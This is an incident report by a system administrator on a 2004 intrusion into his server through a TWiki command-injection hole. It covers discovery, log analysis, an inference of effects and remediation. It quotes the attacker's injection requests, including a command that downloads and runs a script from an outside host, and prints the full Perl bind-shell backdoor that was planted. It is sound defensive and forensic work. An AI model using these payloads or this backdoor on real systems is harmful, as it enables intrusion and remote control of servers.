On November 24th, my server (Bartleby) had an intrusion via a shell-access exploit in TWiki. We discovered the intrusion after we'd applied the patch, whereupon I documented it. Todd expressed a desire to see the report I created, so I thought some of you might want to as well. It's technical, but is a pretty good overview of the steps to take when you think you've had an intrusion. At least I hope it is, Alan PS: I know releasing these things can come to bite you in the butt politically, but I think it's better to show people how you solved the problem than to hide it in a desk drawer. ---------------------------------------------------------------------- Incident Report for Unauthorized Access on November 24th, 2004 Prepared by: Alan Shields December 6th, 2004. 1. Discovery of Attack This evening, while demonstrating usage of web folders to Sean Turner, a prior change to the web page http://microarray.omrf.org/index.html was noticed. As this page did not previously exist - it was encountered only by accident - and its presence was noteworthy. The new text of the webpage was: Ka0tic Lab Ka0tic Lab A cursory Google search revealed this text in many locations across the internet, along with the phrase "Ka0tic Lab 0wned u" would indicate that this group is a defacement group. A grep of the web directory shows one other file with that signature: /web/public/index.html 2. Analysis of Attack A stat of the new files created shows: shieldsa@bartleby:~$ stat /web/microarray/index.html File: "/web/microarray/index.html" Size: 22 Blocks: 8 IO Block: 4096 Regular File Device: 3a03h/14851d Inode: 2394 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 33/www-data) Gid: ( 33/www-data) Access: Mon Dec 6 17:22:02 2004 Modify: Wed Nov 24 01:22:41 2004 Change: Wed Nov 24 01:22:41 2004 shieldsa@bartleby:/web/microarray/public$ stat index.html File: "index.html" Size: 11 Blocks: 8 IO Block: 4096 Regular File Device: 3a03h/14851d Inode: 1035 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 33/www-data) Gid: ( 33/www-data) Access: Mon Dec 6 19:38:22 2004 Modify: Wed Nov 24 01:21:24 2004 Change: Wed Nov 24 01:21:24 2004 This was just after the announcement of a shell-execution vulnerability in TWiki, used on opensource.microarray.omrf.org. Unfortunately, the attack was only announced on a security mailing list that I was not subscribed to. The general notification went out on November 28th, and we patched on November 29th. A grep of apache logs shows numerous attempts on virtual server opensource.microarray.omrf.org for several days. A specific HTTP request was: GET /wiki/bin/search/BASE/?scope=text&search=doesnotexist1%27%3B+%28uname+-a%3B+id%3Buptime%29+%7C+sed+%27s%2F%5C%28.*%5C%29%2F__BEGIN__%5C1__END__.txt%2F%27%3B +fgrep+-i+-l+--+%27doesnotexist2 Yielding a command string of: (uname -a; id;uptime) | sed 's/\(.*\)/__BEGIN__\1__END__.txt/'; fgrep -i -l -- 'doesnotexist2' This gives information on the kernel version, current user, and uptime. This currently appears as: __BEGIN__Linux bartleby.omrf.org 2.4.26-bartleby-2 #1 SMP Wed Aug 25 14:54:36 CDT 2004 i686 unknown__END__.txt __BEGIN__uid=33(www-data) gid=33(www-data) groups=33(www-data),1003(web-developer),1004(web-fair),1005(web-microarray),1007(web-secure),1021(web-playtime),1035(web-opensource),1041(web-riley)__END__.txt __BEGIN__ 18:12:17 up 14 days, 3:46, 5 users, load average: 0.17, 0.19, 0.13__END__.txt The __BEGIN__ and __END__.txt are to allow for easy clipping from the web-page that results, given that the result is embedded in HTML. Exploit attempts were found from IP addresses: 200.141.149.61 200.164.159.216 200.212.114.3 200.217.10.241 200.217.12.11 200.217.13.37 200.223.203.50 201.8.212.71 201.8.213.121 201.9.13.197 201.9.35.13 201.9.35.194 201.9.38.142 212.179.108.40 213.140.17.96 Starting at: [24/Nov/2004:01:18:04 -0600] Last attempt at: [04/Dec/2004:08:49:48 -0600] Other information attacks were: ( uname -a ) | sed 's/\(.*\)/__BEGIN__\1__END__.txt/'; fgrep -i -l -- 'doesnotexist2 (cat /etc/issue ; whereis cdrecord) | sed 's/\(.*\)/__BEGIN__\1__END__.txt/'; fgrep -i -l -- 'doesnotexist2 (id) | sed 's/\(.*\)/__BEGIN__\1__END__.txt/'; fgrep -i -l -- 'doesnotexist2 (uname -a; id;pwd) | sed 's/\(.*\)/__BEGIN__\1__END__.txt/'; fgrep -i -l -- 'doesnotexist2 (uname -a; id;uptime) | sed 's/\(.*\)/__BEGIN__\1__END__.txt/'; fgrep -i -l -- 'doesnotexist2 (uptime) | sed 's/\(.*\)/__BEGIN__\1__END__.txt/'; fgrep -i -l -- 'doesnotexist2 Besides the information attacks, there was one exploit by IP 200.212.114.3 (full log kept in same folder). Log follows: 200.212.114.3 - - [24/Nov/2004:01:17:28 -0600] "GET /wiki/bin/view/TWiki/WebRss HTTP/1.1" 200 22679 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" mod_gzip: DECLINED:NO_ACCEPT_ENCODING In:0 Out:0:0pct. 200.212.114.3 - - [24/Nov/2004:01:17:34 -0600] "GET /images/twiki_logo46x35.png HTTP/1.1" 200 2354 "http://opensource.microarray.omrf.org/wiki/bin/view/TWiki/WebRss" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" mod_gzip: DECLINED:NO_ACCEPT_ENCODING In:0 Out:0:0pct. 200.212.114.3 - - [24/Nov/2004:01:17:46 -0600] "GET /wiki/bin/view/TWiki/WebSearch HTTP/1.1" 200 9966 "http://opensource.microarray.omrf.org/wiki/bin/view/TWiki/WebRss" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" mod_gzip: DECLINED:NO_ACCEPT_ENCODING In:0 Out:0:0pct. 200.212.114.3 - - [24/Nov/2004:01:18:04 -0600] "GET /wiki/bin/search/TWiki/?scope=text&search=doesnotexist1%27%3B+%28uname+-a%3B+id%3Bpwd%29+%7C+sed+%27s%2F%5C%28.*%5C%29%2F__BEGIN__%5C1__END__.txt%2F%27%3B+fgrep+-i+-l+--+%27doesnotexist2 HTTP/1.1" 200 6053 "http://opensource.microarray.omrf.org/wiki/bin/view/TWiki/WebSearch" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" mod_gzip: DECLINED:NO_ACCEPT_ENCODING In:0 Out:0:0pct. 200.212.114.3 - - [24/Nov/2004:01:18:24 -0600] "GET /favicon.ico HTTP/1.1" 404 304 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" mod_gzip: DECLINED:NO_ACCEPT_ENCODING In:0 Out:0:0pct. 200.212.114.3 - - [24/Nov/2004:01:18:52 -0600] "GET /wiki/bin/search/TWiki/?scope=text&search=doesnotexist1%27%3B+%28cd+%2Ftmp%3Bwget+bandits.webm.ru%2Fxpl%2Fdc.pl%3Bperl+dc.pl+200.193.15.61+2%29+%7C+sed+%27s%2F%5C%28.*%5C%29%2F__BEGIN__%5C1__END__.txt%2F%27%3B+fgrep+-i+-l+--+%27doesnotexist2 HTTP/1.1" 200 5975 "http://opensource.microarray.omrf.org/wiki/bin/view/TWiki/WebSearch" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" mod_gzip: DECLINED:NO_ACCEPT_ENCODING In:0 Out:0:0pct. 200.212.114.3 - - [24/Nov/2004:01:18:52 -0600] "GET /wiki/bin/search/TWiki/?scope=text&search=doesnotexist1%27%3B+%28cd+%2Ftmp%3Bwget+bandits.webm.ru%2Fxpl%2Fdc.pl%3Bperl+dc.pl+200.193.15.61+5%29+%7C+sed+%27s%2F%5C%28.*%5C%29%2F__BEGIN__%5C1__END__.txt%2F%27%3B+fgrep+-i+-l+--+%27doesnotexist2 HTTP/1.1" 200 7699 "http://opensource.microarray.omrf.org/wiki/bin/view/TWiki/WebSearch" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" mod_gzip: DECLINED:NO_ACCEPT_ENCODING In:0 Out:0:0pct. 200.212.114.3 - - [24/Nov/2004:01:18:52 -0600] "GET /wiki/bin/search/TWiki/?scope=text&search=doesnotexist1%27%3B+%28cd+%2Ftmp%3Bwget+bandits.webm.ru%2Fxpl%2Fdc.pl%3Bperl+dc.pl+200.193.15.61+3%29+%7C+sed+%27s%2F%5C%28.*%5C%29%2F__BEGIN__%5C1__END__.txt%2F%27%3B+fgrep+-i+-l+--+%27doesnotexist2 HTTP/1.1" 200 5975 "http://opensource.microarray.omrf.org/wiki/bin/view/TWiki/WebSearch" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" mod_gzip: DECLINED:NO_ACCEPT_ENCODING In:0 Out:0:0pct. 200.212.114.3 - - [24/Nov/2004:01:21:43 -0600] "GET / HTTP/1.1" 200 2364 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" mod_gzip: DECLINED:NO_ACCEPT_ENCODING In:0 Out:0:0pct. 200.212.114.3 - - [24/Nov/2004:01:22:12 -0600] "GET / HTTP/1.1" 304 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" mod_gzip: DECLINED:NO_ACCEPT_ENCODING In:0 Out:0:0pct. Translates to this (GET = gets a file, EXECUTE = executes a file): [01:17:28] GET /wiki/bin/view/TWiki/WebRss [01:17:34] GET /images/twiki_logo46x35.png [01:17:46] GET /wiki/bin/view/TWiki/WebSearch [01:18:04] EXECUTE (uname -a; id;pwd) | sed 's/\(.*\)/__BEGIN__\1__END__.txt/'; fgrep -i -l -- 'doesnotexist2' [01:18:24] GET /favicon.ico [01:18:52] EXECUTE (cd /tmp;wget bandits.webm.ru/xpl/dc.pl;perl dc.pl 200.193.15.61 2) | sed 's/\(.*\)/__BEGIN__\1__END__.txt/'; fgrep -i -l -- 'doesnotexist2' [01:18:52] EXECUTE (cd /tmp;wget bandits.webm.ru/xpl/dc.pl;perl dc.pl 200.193.15.61 5) | sed 's/\(.*\)/__BEGIN__\1__END__.txt/'; fgrep -i -l -- 'doesnotexist2' [01:18:52] EXECUTE (cd /tmp;wget bandits.webm.ru/xpl/dc.pl;perl dc.pl 200.193.15.61 3) | sed 's/\(.*\)/__BEGIN__\1__END__.txt/'; fgrep -i -l -- 'doesnotexist2' -- Almost Two Minute Gap -- [01:21:43] GET / [01:22:12] GET / The exploit allowed the requestor to execute a command via system() as user id www-data. The user www-data is an "insecure" account, unable to do much of anything, however it did have sufficient privileges to download a perl script named "dc.pl" and execute that as www-data. A stat of dc.pl yields: www-data@bartleby:~$ stat /tmp/dc.pl File: "/tmp/dc.pl" Size: 729 Blocks: 8 IO Block: 4096 Regular File Device: 8h/8d Inode: 409416 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 33/www-data) Gid: ( 33/www-data) Access: Wed Nov 24 01:18:52 2004 Modify: Tue Nov 23 01:55:31 2004 Change: Wed Nov 24 01:18:52 2004 wget sets the mtime of a file from information gathered in the HTTP request, the atime and ctime are synchronous with the execution request. A pretty-printed version of the perl script follows: #!/usr/bin/perl ## *** Synnergy Networks ## * Description: ## # Remote unix shell backdoor. ## * Author: ## # headflux ([log in to unmask]) ## Synnergy Networks (c) 1999, http://www.synnergy.net ## * Usage: # remote.com$ ./nohup bindshell.pl & ## remote.com$ exit ## Connection closed by foreign host ## localhost$ telnet remote.com 60000 ## Trying 192.168.1.1... ## Connected to remote.com. ## Escape character is '^]'. ## ([log in to unmask]:/home/user/) ## cat /etc/passwd; etc ## *** Synnergy Networks use Socket; $port = 60000; $proto = getprotobyname('tcp'); $cmd = "lpd"; $system = 'echo "(`whoami`@`uname -n`:`pwd`)"; /bin/sh'; $0 = $cmd; socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket:$!"; setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) or die "setsockopt: $!"; bind(SERVER, sockaddr_in($port, INADDR_ANY)) or die "bind: $!"; listen(SERVER, SOMAXCONN) or die "listen: $!"; for(; $paddr = accept(CLIENT, SERVER); close CLIENT) { open(STDIN, ">&CLIENT"); open(STDOUT, ">&CLIENT"); open(STDERR, ">&CLIENT"); system($system); close(STDIN); close(STDOUT); close(STDERR); } This script provides a sort of telnet server that listens on port 60000. It would provide execution abilities as a user (in this case www-data) to a remote user, masking itself as a printer daemon ('$0 = "lpd"'). Why the attacker gave arguments to the program ("perl dc.pl 200.193.15.61 2", in one instance) is unknown, as the program accepts no command-line arguments. From here, there are no logs, as system() does not log to anything. There remains only what we can infer. 3. Inference of Effects The first concern is a privilege escalation attack. Should the attacker have gained root, the only recourse would be a full wipe of the server and a reinstall. The fact that the attacker left an obvious trail (dc.pl was still in the /tmp directory), and left a signature (index.html) implies that stealth was not a priority. This still leaves open to possibility a rootkit or other method of compromise, but no other files besides dc.pl were found in tmp. In fact, no files besides perviously known files were found as created by the www-data user. This does not completely bar the possibility, however. A list of open ports shows nothing out of the ordinary, all processes are accounted for. An external portmap of Bartleby via nmap shows nothing out of the ordinary, as well. Auth log from the time period: Nov 24 01:15:01 bartleby PAM_unix[14736]: (cron) session opened for user root by (uid=0) Nov 24 01:15:01 bartleby PAM_unix[14737]: (cron) session opened for user root by (uid=0) Nov 24 01:15:01 bartleby PAM_unix[14738]: (cron) session opened for user mailman by (uid=0) Nov 24 01:15:02 bartleby PAM_unix[14737]: (cron) session closed for user root Nov 24 01:15:02 bartleby PAM_unix[14738]: (cron) session closed for user mailman Nov 24 01:15:03 bartleby PAM_unix[14736]: (cron) session closed for user root ---- Attack Takes Place ---- Nov 24 01:20:01 bartleby PAM_unix[14915]: (cron) session opened for user root by (uid=0) Nov 24 01:20:01 bartleby PAM_unix[14916]: (cron) session opened for user www-data by (uid=0) Nov 24 01:20:01 bartleby PAM_unix[14917]: (cron) session opened for user root by (uid=0) Nov 24 01:20:01 bartleby PAM_unix[14918]: (cron) session opened for user mailman by (uid=0) Nov 24 01:20:02 bartleby PAM_unix[14918]: (cron) session closed for user mailman Nov 24 01:20:02 bartleby PAM_unix[14917]: (cron) session closed for user root Nov 24 01:20:03 bartleby PAM_unix[14916]: (cron) session closed for user www-data Nov 24 01:20:03 bartleby PAM_unix[14915]: (cron) session closed for user root From 24 hours before: Nov 23 01:15:01 bartleby PAM_unix[825]: (cron) session opened for user root by (uid=0) Nov 23 01:15:01 bartleby PAM_unix[826]: (cron) session opened for user root by (uid=0) Nov 23 01:15:01 bartleby PAM_unix[827]: (cron) session opened for user mailman by (uid=0) Nov 23 01:15:02 bartleby PAM_unix[826]: (cron) session closed for user root Nov 23 01:15:02 bartleby PAM_unix[827]: (cron) session closed for user mailman Nov 23 01:15:04 bartleby PAM_unix[825]: (cron) session closed for user root Nov 23 01:20:01 bartleby PAM_unix[937]: (cron) session opened for user root by (uid=0) Nov 23 01:20:01 bartleby PAM_unix[938]: (cron) session opened for user www-data by (uid=0) Nov 23 01:20:01 bartleby PAM_unix[939]: (cron) session opened for user root by (uid=0) Nov 23 01:20:01 bartleby PAM_unix[940]: (cron) session opened for user mailman by (uid=0) Nov 23 01:20:01 bartleby PAM_unix[939]: (cron) session closed for user root Nov 23 01:20:01 bartleby PAM_unix[940]: (cron) session closed for user mailman Nov 23 01:20:04 bartleby PAM_unix[937]: (cron) session closed for user root Nov 23 01:20:04 bartleby PAM_unix[938]: (cron) session closed for user www-data From 24 hours after: Nov 25 01:15:01 bartleby PAM_unix[23425]: (cron) session opened for user root by (uid=0) Nov 25 01:15:01 bartleby PAM_unix[23426]: (cron) session opened for user root by (uid=0) Nov 25 01:15:01 bartleby PAM_unix[23427]: (cron) session opened for user mailman by (uid=0) Nov 25 01:15:01 bartleby PAM_unix[23426]: (cron) session closed for user root Nov 25 01:15:01 bartleby PAM_unix[23427]: (cron) session closed for user mailman Nov 25 01:15:02 bartleby PAM_unix[23425]: (cron) session closed for user root Nov 25 01:20:01 bartleby PAM_unix[23542]: (cron) session opened for user root by (uid=0) Nov 25 01:20:01 bartleby PAM_unix[23543]: (cron) session opened for user www-data by (uid=0) Nov 25 01:20:01 bartleby PAM_unix[23544]: (cron) session opened for user root by (uid=0) Nov 25 01:20:01 bartleby PAM_unix[23545]: (cron) session opened for user mailman by (uid=0) Nov 25 01:20:02 bartleby PAM_unix[23545]: (cron) session closed for user mailman Nov 25 01:20:02 bartleby PAM_unix[23544]: (cron) session closed for user root Nov 25 01:20:04 bartleby PAM_unix[23543]: (cron) session closed for user www-data Nov 25 01:20:04 bartleby PAM_unix[23542]: (cron) session closed for user root This shows execution at around the same time, and that the gap during that time is normal. Paranoia, however, suggests that I examine an auth log from backup tapes made before November 24th. From the 15th of November: Nov 15 01:10:01 bartleby PAM_unix[7029]: (cron) session opened for user root by (uid=0) Nov 15 01:10:01 bartleby PAM_unix[7030]: (cron) session opened for user www-data by (uid=0) Nov 15 01:10:01 bartleby PAM_unix[7031]: (cron) session opened for user root by (uid=0) Nov 15 01:10:01 bartleby PAM_unix[7032]: (cron) session opened for user mailman by (uid=0) Nov 15 01:10:02 bartleby PAM_unix[7032]: (cron) session closed for user mailman Nov 15 01:10:02 bartleby PAM_unix[7031]: (cron) session closed for user root Nov 15 01:10:03 bartleby PAM_unix[7030]: (cron) session closed for user www-data Nov 15 01:10:03 bartleby PAM_unix[7029]: (cron) session closed for user root Nov 15 01:14:01 bartleby PAM_unix[7124]: (cron) session opened for user root by (uid=0) Nov 15 01:14:04 bartleby PAM_unix[7124]: (cron) session closed for user root Nov 15 01:15:02 bartleby PAM_unix[7192]: (cron) session opened for user root by (uid=0) Nov 15 01:15:02 bartleby PAM_unix[7193]: (cron) session opened for user root by (uid=0) Nov 15 01:15:02 bartleby PAM_unix[7194]: (cron) session opened for user mailman by (uid=0) Nov 15 01:15:02 bartleby PAM_unix[7193]: (cron) session closed for user root Nov 15 01:15:02 bartleby PAM_unix[7194]: (cron) session closed for user mailman Nov 15 01:15:03 bartleby PAM_unix[7192]: (cron) session closed for user root Nov 15 01:20:01 bartleby PAM_unix[7287]: (cron) session opened for user root by (uid=0) Nov 15 01:20:01 bartleby PAM_unix[7288]: (cron) session opened for user www-data by (uid=0) Nov 15 01:20:01 bartleby PAM_unix[7289]: (cron) session opened for user root by (uid=0) Nov 15 01:20:01 bartleby PAM_unix[7290]: (cron) session opened for user mailman by (uid=0) Nov 15 01:20:02 bartleby PAM_unix[7290]: (cron) session closed for user mailman Nov 15 01:20:02 bartleby PAM_unix[7289]: (cron) session closed for user root Nov 15 01:20:03 bartleby PAM_unix[7287]: (cron) session closed for user root Nov 15 01:20:03 bartleby PAM_unix[7288]: (cron) session closed for user www-data As is plainly seen, this gap is normal. Unless a kernel vulnerability was exploited, there were no new root logins made by any service but cron, and those were typical shell scripts. All scripts executed by cron were not writeable by www-data, and all appear to be intact and unmodified. As for kernel vulnerabilities, Bartleby was running Linux kernel 2.4.26 at the time of attack, with one patch to support shared memory access by User Mode Linux. No vulnerabilities have been reported on the UML patch (SKAS3). Vulnerabilities have been discovered in Linux kernel 2.4.26, but they were only reported as of November 29th. Still, it is advisable to run a rootkit sniffer. We ran the rootkit sniffer from www.chrootkit.com, which is well-known and tends to stay current. It gave us a clean bill of health. A look over the password file revealed no new user accounts, no passwords on system accounts, and no modifications to groups. Thus we can rule out an account misappropriation. 4. Conclusion We know that between the startup of the ad-hoc telnet server and the attacker attempting to retreive the root index is a gap of two minutes. That request is the final one that can be traced to the attacker. Given the sloppy-ness of the attack (leaving files around, using parameters when there were no parameters, etc), I think a reasonable exclusion can be made of a Criminal Mastermind, and we can assume that the only target was defacement, particularly as that seems to be this group's MO. One other thing to note is that the attacker didn't have the right website: the virtual server opensource.microarray.omrf.org was the vulnerable one, yet microarray.omrf.org/index.html was the injected file. Analysis of logs shows that no attempts were made to access microarray.omrf.org/index.html in any way. 5. Probable Compromises Several files were almost undoubtedly downloaded. First, the apache configuration was world readable, as was the SSL certificate that we use. The system password file must be world readable, and should as well be considered compromised. As the password files are all one-way encrypted, the proper thing to do would be to run a password cracker such as John the Ripper over the password files, and anything that comes out in 5 days of running should be changed. SSL certificates should be regenerated, as well. The "secret word" web shares are considered minimally sensitive - only sensitive in a restricted domain. To be responsible, however, we should change the "secret words." 6. Future Steps The firewall on Bartleby needs to be tightened up to allow a fewer number of ports through. If the attacker had had no ports available to log in, he would have been very limited in attacks possible. A root password rotation is in order, along with the passwords of all users who have sudo access to root. A run of a password cracker over the password list revealed one easy-to-guess password, which the user will change. The apache configuration should be set to readable only by root. Alan Shields